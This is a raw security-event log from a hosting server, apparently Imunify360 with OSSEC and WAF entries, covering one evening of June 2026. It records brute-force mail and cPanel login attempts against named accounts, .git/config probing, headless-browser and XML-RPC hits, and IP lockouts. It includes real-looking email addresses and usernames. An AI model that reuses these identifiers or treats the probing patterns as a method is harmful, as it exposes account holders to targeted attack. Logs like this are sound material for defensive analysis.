96.44.159.148 - - [14/Jun/2026:21:42:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7128932&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252F8571a2ceb35e65b3d65c55dd83391103%252Fffb26351ca0884cdba0fbb3b179a3b22%252Fb796193adc2ddcab2642e046563b2b9a%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473324 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/8571a2ceb35e65b3d65c55dd83391103/ffb26351ca0884cdba0fbb3b179a3b22/b796193adc2ddcab2642e046563b2b9a/index.php?cmd=login" "Mozilla/5.0 (iPhone; CPU iPhone OS 18_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Brave/1 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:96.44.159.148


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 57.129.137.254
country_id: 2635167
description:
57.129.137.254 - - [14/Jun/2026:21:41:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6656415&pdata=https%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252Fb1aa8c55fef5735be643c306a6cd33ae%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473293 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/b1aa8c55fef5735be643c306a6cd33ae/index.php?cmd=login" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:57.129.137.254


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.249.59.233
country_id: 2635167
description:
104.249.59.233 - - [14/Jun/2026:21:41:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10249109&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F0e3d26786953aa33eaa79d2011a94992%252F223e0c8cca861474d24cfd8905cb5776%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473297 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/0e3d26786953aa33eaa79d2011a94992/223e0c8cca861474d24cfd8905cb5776/index.php?cmd=login" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.249.59.233


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.44.133.62
country_id: 6252001
description:
198.44.133.62 - - [14/Jun/2026:21:41:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10187465&pdata=http%253A%252F%252Fkpmg.tg%252F71fa419ddb91500bd6c40e52ac0c368c%252F5a62aa212b86bc08a2d77c395174ea68%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473296 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/71fa419ddb91500bd6c40e52ac0c368c/5a62aa212b86bc08a2d77c395174ea68/index.php?cmd=login" "Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.44.133.62


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 137.184.246.47
country_id: 6252001
description:
137.184.246.47 - - [14/Jun/2026:21:41:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9726312&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473299 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/index.php?cmd=newupld" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:137.184.246.47


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 14 21:43:03 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.74.20
country_id: 2623032
description:
158.173.74.20 - - [14/Jun/2026:21:42:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328469&pdata=https%253A%252F%252Fmatosshop.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473347 HTTP/2.0" 302 0 matosshop.tg "https://matosshop.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.74.20


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:42:39 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13057: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.114
country_id: 2635167
description:
[2026-06-14 21:42:55 +0000] info [cpaneld] 5.230.133.114 NEW wcnyaruu:GpLSnL_BV4mKV4dM address=5.230.133.114,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 172.245.13.142
country_id: 6252001
description:
172.245.13.142 - - [14/Jun/2026:21:43:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6802072&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F0e3d26786953aa33eaa79d2011a94992%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473404 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/0e3d26786953aa33eaa79d2011a94992/index.php?cmd=login" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:172.245.13.142


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:43:45 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13062: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 146.190.11.185
country_id: 1269750
description:
146.190.11.185 - - [14/Jun/2026:21:43:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12818325&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252Facf2d8c858075b0500387330fbe3e107%252Fea425e05eea2788cc063ebda30164563%252F6ceb254a8cb5490cf313a3dfacf56698%252F20b8a46017f76205f06cbecfe393b213%252Findex.php%253Fcmd%253Dlogin&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473397 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/acf2d8c858075b0500387330fbe3e107/ea425e05eea2788cc063ebda30164563/6ceb254a8cb5490cf313a3dfacf56698/20b8a46017f76205f06cbecfe393b213/index.php?cmd=login" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:146.190.11.185


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 198.147.22.237
country_id: 6252001
description:
198.147.22.237 - - [14/Jun/2026:21:43:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10066587&pdata=http%253A%252F%252Fkpmg.tg%252Ff3fcede3ceb48531317d565cce982d2b%252F956caa81b3c8ac8e2112f34b9feb7a31%252Fcadfa3ecfb3cf582999aab5e7605639c%252Fb1aa8c55fef5735be643c306a6cd33ae%252F6f56ae2ccdff0dbed024d8ffe0ad255e%252Findex.php%253Fcmd%253Dnewupld&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781473408 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/f3fcede3ceb48531317d565cce982d2b/956caa81b3c8ac8e2112f34b9feb7a31/cadfa3ecfb3cf582999aab5e7605639c/b1aa8c55fef5735be643c306a6cd33ae/6f56ae2ccdff0dbed024d8ffe0ad255e/index.php?cmd=newupld" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Edg/146.0.0.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:198.147.22.237


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:44:46 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13068: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:45:46 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13069: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:46:55 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13070: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 154.36.110.163
country_id: 2921044
domain: www.derou.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:154.36.110.163||TA:154.36.110.163||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:47:56 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13071: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:48:57 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:13072: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 165.22.187.91
country_id: 6252001
domain: 24heureinfo.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/136.0.7103.25 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.218.86
country_id: 2287781
description:
2026-06-14 21:50:00 dovecot_login authenticator failed for H=(ELISABETH) [102.209.218.86]:6794: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.177.237.148
country_id: 1562822
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/audios HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.47.134.55
country_id: 1643084
domain: soena.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/soena.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.28.156.104
country_id: 1880251
description:
[2026-06-14 21:55:56 +0000] info [cpaneld] 104.28.156.104 - esso "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user esso (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.244.13.206
country_id: 1562822
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/videos HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 101.32.115.248
country_id: 1880251
description:
101.32.115.248 - - [14/Jun/2026:21:58:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6724292&pdata=https%253A%252F%252Flaunetogo.tg%252Fdogta-lafie-un-succes-retentissant-pour-la-collecte-de-sang%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781474290 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/dogta-lafie-un-succes-retentissant-pour-la-collecte-de-sang/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:101.32.115.248


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.253.128.241
country_id: 3932488
domain: lasnb.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/lasnb.com/product/show/warsteiner HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.3.249.221
country_id: 1562822
description:
2026-06-14 22:01:31 dovecot_plain authenticator failed for H=(0yzh36hv4brsgn5qerodidu9yvccmer3) [117.3.249.221]:55865: 535 Incorrect authentication data (set_id=contact@cloud-et-racks.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 67.216.218.253
country_id: 6252001
domain: haplucia-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:67.216.218.253||TA:67.216.218.253||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 168.205.153.51
country_id: 3469034
domain: ca-togo.org
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ca-togo.org/actualite/detail/assemblee-generale-ordinaire-et-budgetaire-du-cat-04-mars-2025 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.211
country_id: 2635167
description:
[2026-06-14 22:06:12 +0000] info [cpaneld] 5.230.153.211 NEW ifxmoxbf:h5cGKeCbINwXJgV3 address=5.230.153.211,app=cpaneld,creator=ifxmoxbf,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kagbekoh@davakconsulting.com [06/14/2026:22:08:44 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kagbekoh@davakconsulting.com


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 102.64.171.58
country_id: 2363686
description:
[2026-06-14 22:08:27 +0000] info [cpaneld] 102.64.171.58 NEW mvfxewjz:voThq7kMGBguKid1 address=102.64.171.58,app=cpaneld,creator=mvfxewjz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.123
country_id: 1880251
description:
47.128.122.123 - - [14/Jun/2026:22:10:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935561&pdata=http%253A%252F%252Ftogodailynews.tg%252Fchan-2021-les-eperviers-du-togo-ont-recu-le-quitus-pour-defendre-les-couleurs-du-pays%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781475051 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/chan-2021-les-eperviers-du-togo-ont-recu-le-quitus-pour-defendre-les-couleurs-du-pays/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.123


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.93.130.67
country_id: 2510769
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=PHARMACIES DE GARDE DU 14 AU 21 OCTOBRE 2019 | TOGODAILYNEWS&siteId=1&rec=1&rand=870915&h=6&m=10&s=12&url=http:/togodailynews.tg/pharmacies-de-garde-du-14-au-21-octobre-2019/&uid=0&pid=1081&visitorId=18686a3e792a379a&fvts=1781475012&vc=1&idn=0&refts=0&lvts=1781475012&fullRef=undefined&send_image=1&cookie=1&res=375x812&gtms=9064&pvId=uRjhju&browser=Chrome_56&os=Android_6.0&device=Mobile HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 154.192.169.5
country_id: 1168579
domain: conseilnsaftogo.org
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:37710.conseilnsaftogo.org||ServerName:conseilnsaftogo.org||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f20e2a955ef5d8d54411e63cd10fcf97b8d50dd||Title:0xdaab01e3||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.232.209.243
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:104.232.209.243||TA:104.232.209.243||


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - e.senahounvo@davakconsulting.com [06/14/2026:22:13:42 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: e.senahounvo@davakconsulting.com


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kagbekoh@davakconsulting.com [06/14/2026:22:15:43 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kagbekoh@davakconsulting.com


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 124.156.116.94
country_id: 1819730
description:
124.156.116.94 - - [14/Jun/2026:22:17:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105432&pdata=https%253A%252F%252Ftogodailynews.tg%252Fauthor%252Ftogo%252Fpage%252F28%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781475439 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/author/togo/page/28/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:124.156.116.94


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 95.24.63.127
country_id: 2017370
description:
2026-06-14 22:19:27 dovecot_plain authenticator failed for H=95-24-63-127.broadband.corbina.ru (2ey1jqp2p9vh8ldnduawp2l1tw0) [95.24.63.127]:57127: 535 Incorrect authentication data (set_id=hilaire.mensah@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.154.116.10
country_id: 1814991
description:
Jun 14 22:24:30 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.154.116.10 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.133
country_id: 1880251
description:
47.128.96.133 - - [14/Jun/2026:22:25:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10250607&pdata=https%253A%252F%252Fcfpj.tg%252Fhow-to-stay-committed-to-your-health-and-happiness%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781475932 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/how-to-stay-committed-to-your-health-and-happiness/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.133


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 98.95.21.183
country_id: 6252001
domain: www.fbafrica.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.159.13.86
country_id: 6252001
description:
[2026-06-14 22:33:11 +0000] info [cpaneld] 213.159.13.86 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.212.140.161
country_id: 6252001
description:
[2026-06-14 22:33:11 +0000] info [cpaneld] 188.212.140.161 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.201.129.25
country_id: 2658434
description:
[2026-06-14 22:33:10 +0000] info [cpaneld] 185.201.129.25 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.183.159
country_id: 6252001
description:
[2026-06-14 22:33:11 +0000] info [cpaneld] 136.227.183.159 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.201.130.153
country_id: 2658434
description:
[2026-06-14 22:33:10 +0000] info [cpaneld] 185.201.130.153 - e.sanvee "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.sanvee (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 158.115.243.179
country_id: 2186224
description:
[2026-06-14 22:33:11 +0000] info [cpaneld] 158.115.243.179 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 194.135.133.80
country_id: 6252001
description:
[2026-06-14 22:33:10 +0000] info [cpaneld] 194.135.133.80 - a.kesso "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.kesso (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.173
country_id: 1269750
description:
Jun 14 22:37:13 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.173 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.224.173
country_id: 1269750
description:
2026-06-14 22:37:15 dovecot_login authenticator failed for H=(nsg-corporate-173.224.187.122.airtel.in) [122.187.224.173]:42180: 535 Incorrect authentication data (set_id=contact@armp.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 36.92.174.85
country_id: 1643084
description:
Jun 14 22:37:53 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 36.92.174.85 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 14 22:38:41 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-14 22:38:43 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:47746: 535 Incorrect authentication data (set_id=paf)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 92.114.62.45
country_id: 6252001
description:
[2026-06-14 22:39:21 +0000] info [cpaneld] 92.114.62.45 - stephane "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user stephane (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 14 22:39:30 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 14 22:40:44 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 20.46.45.121
country_id: 290557
description:
2026-06-14 22:43:45 dovecot_login authenticator failed for H=(static.bb.alp.61.2.44.54.bsnl.in) [20.46.45.121]:55691: 535 Incorrect authentication data (set_id=j_essoh@centif.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 94.177.57.185
country_id: 458258
description:
[2026-06-14 22:44:52 +0000] info [cpaneld] 94.177.57.185 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: modsec
rule: 77045402
name: IM360 WAF: Direct access to sensitive file or dotfile
abuser: 34.96.160.15
country_id: 1819730
domain: www.2wd.tg
description:
IM360 WAF: Direct access to sensitive file or dotfile||MV:/frontend/.git/config||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.163.121.3
country_id: 1880251
description:
43.163.121.3 - - [14/Jun/2026:22:46:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10251112&pdata=https%253A%252F%252Flaunetogo.tg%252Fgreve-dans-le-secteur-bancaire-et-des-assurances-au-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781477195 HTTP/2.0" 302 0 launetogo.tg "https://launetogo.tg/greve-dans-le-secteur-bancaire-et-des-assurances-au-togo/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.163.121.3


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-14 22:47:36 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:41497: 535 Incorrect authentication data (set_id=citrix)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 14 22:47:34 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 14 22:50:12 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 14 22:50:20 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
